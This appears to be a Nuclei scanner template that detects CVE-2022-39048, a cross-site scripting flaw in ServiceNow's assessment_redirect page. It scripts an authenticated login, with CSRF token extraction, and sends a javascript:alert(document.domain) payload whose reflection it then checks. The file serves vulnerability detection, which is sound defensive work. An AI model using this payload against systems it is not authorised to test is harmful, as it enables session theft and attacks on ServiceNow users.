id: CVE-2022-39048 info: name: ServiceNow - Cross-site Scripting author: theamanrawat severity: medium description: | A XSS vulnerability was identified in the ServiceNow UI page assessment_redirect. To exploit this vulnerability, an attacker would need to persuade an authenticated user to click a maliciously crafted URL. Successful exploitation potentially could be used to conduct various client-side attacks, including, but not limited to, phishing, redirection, theft of CSRF tokens, and use of an authenticated user's browser or session to attack other systems. reference: - https://support.servicenow.com/kb?id=kb_article_view&sysparm_article=KB1221892 - https://blog.amanrawat.in/2023/05/05/CVE-2022-39048.html - https://nvd.nist.gov/vuln/detail/CVE-2022-39048 - https://support.servicenow.com/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-39048 cwe-id: CWE-79 epss-score: 0.00972 epss-percentile: 0.81587 cpe: cpe:2.3:a:servicenow:servicenow:quebec:-:*:*:*:*:*:* metadata: verified: true max-request: 3 vendor: servicenow product: servicenow shodan-query: http.title:"ServiceNow" tags: cve,cve2022,xss,servicenow,authenticated http: - raw: - | GET /navpage.do HTTP/1.1 Host: {{Hostname}} - | POST /login.do HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded sysparm_ck={{csrf}}&user_name={{username}}&user_password={{password}}¬_important=&ni.nolog.user_password=true&ni.noecho.user_name=true&ni.noecho.user_password=true&screensize=1920x1080&sys_action=sysverb_login&sysparm_login_url=welcome.do - | GET /assessment_redirect.do?sysparm_survey_url=javascript:alert(document.domain)//assessment_take2.do HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: body_3 words: - 'unwrapped_url = "javascript:alert(document.domain)//assessment_take2.do"' - 'assessment_list.do' condition: and - type: word part: header_3 words: - 'text/html' - type: status part: header_3 status: - 200 extractors: - type: regex name: csrf part: body group: 1 regex: - 'name="sysparm_ck" id="sysparm_ck" type="hidden" value="(.*?)"' internal: true # digest: 4a0a0047304502206e9528cb853377264dd21c2e31c226bc909d47fc76b0e584684cf618f94cbc75022100bfdaa7655d407d8bc4558dd030871bcb9dc9f1ff4d15551a7854f0e8a8ffe5a7:922c64590222798bb761d5b6d8e72950